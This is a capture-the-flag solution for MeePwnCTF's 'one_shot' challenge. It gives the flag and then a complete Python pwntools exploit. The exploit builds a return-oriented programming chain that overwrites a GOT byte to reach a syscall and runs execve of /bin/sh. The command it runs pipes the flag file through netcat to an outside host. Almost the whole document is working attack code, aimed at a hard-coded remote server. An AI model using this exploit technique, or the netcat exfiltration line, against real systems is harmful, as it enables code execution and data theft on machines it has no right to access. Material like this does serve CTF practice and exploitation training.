Flag: `MeePwnCTF{Do_y0u_r3m3mb3r_sigreturn}````#!/usr/bin/python# Author: mementomori [OpenToAll]from pwn import *from time import sleep
local = Falseif local:    s = process("./one_shot", env = {"LD_PRELOAD": "./libc-2.24.so"})else:    s = remote("178.128.87.12", 31338)    s.recvuntil('> ')
MAGIC = 0x8a919ff0
ALARM_PLT = 0x400520PUTS_PLT = 0x400510ALARM_GOT = 0x601020
POP_RDI = 0x400843 # pop rdi ; retPOP_RSI_R15 = 0x400841 # pop rsi ; pop r15 ; retPOP_RBP = 0x4006FB # pop rbp ; retSET_EAX = 0x4006F7 # mov eax, [rbp-0xC] ; pop rbx ; pop rbp ; retCOPY_FUNC = 0x400684 # sequentially copies eax bytes from rdi to rsi                     # [rbp-0x20] and [rbp-0x1C] need to be equal (or null)
LEN_ADDR = 0x400080 # contains 0x238, can point to any reasonable number > 0x80TRASH_ADDR = 0x601100 # random writable addr in a nulled areaDEST_ADDR = 0x601600 # where our copied buffer will be
cmd = "cat /home/one_shot/flag|nc 1.2.3.4 1337"assert len(cmd) < 69cmd += "\x00" * (69 - len(cmd))
p = p64(MAGIC)p += "/bin/sh\x00"p += "-c\x00"p += cmd
ARGV_ADDR = DEST_ADDR + len(p) - 8# argv = ["/bin/sh", "-c", cmd, 0]p += p64(DEST_ADDR) # points to /bin/sh\x00p += p64(DEST_ADDR + 8) # points to -c\x00p += p64(DEST_ADDR + 11) # points to cmdp += p64(0)
EXECVE_SYSCALL_ADDR = DEST_ADDR + len(p) - 8p += p64(59) # execve syscall numberp += "A" * (0x80-len(p))
# put length (0x238) into eaxp += p64(LEN_ADDR + 0xC) # => rbpp += p64(SET_EAX) # put [rbp-0xC] = 0x238 into eaxp += p64(0xdeadbeef) # => rbxp += p64(TRASH_ADDR) # => rbp
# copy eax (0x238) bytes from rdi to rsi# rdi automagically points to a part of our input bufferp += p64(POP_RSI_R15)p += p64(DEST_ADDR - 0x4) # rsi, dest buffer (we don't need first 4 bytes)p += p64(0xdeadbeef) # => r15p += p64(COPY_FUNC)p += p64(0xdeadbeef) # => rbxp += p64(TRASH_ADDR) # => rbp
# we now have the input buffer starting from "/bin/sh\x00..." at DEST_ADDR# let's overwrite one byte in alarm GOT to point directly to syscall instruction# at this point conveniently rax = 1 so we don't have to call SET_EAX againp += p64(POP_RDI)p += p64(0x400001) # contains byte 0x45 p += p64(POP_RSI_R15)p += p64(ALARM_GOT) # => rsi, alarm GOTp += p64(0xdeadbeef) # => r15p += p64(COPY_FUNC) # copy eax (1) bytes from rdi to rsip += p64(0xdeadbeef) # => rbxp += p64(0xdeadbeef) # => rbp
# calling puts will set rdx (envp for execve) to point to some null addressp += p64(POP_RDI)p += p64(DEST_ADDR)p += p64(PUTS_PLT)
# set eax to execve syscall numberp += p64(POP_RBP)p += p64(EXECVE_SYSCALL_ADDR + 0xC)p += p64(SET_EAX) # put [rbp-0xC] = 68 into eaxp += p64(0xdeadbeef) # => rbxp += p64(0xdeadbeef) # => rbp
# set rdi to /bin/shp += p64(POP_RDI)p += p64(DEST_ADDR)
# set rsi to argv pointer arrayp += p64(POP_RSI_R15)p += p64(ARGV_ADDR)p += p64(0xdeadbeef) # =>  r15
# finally call syscallp += p64(ALARM_PLT)
s.sendline(p)
sleep(10)```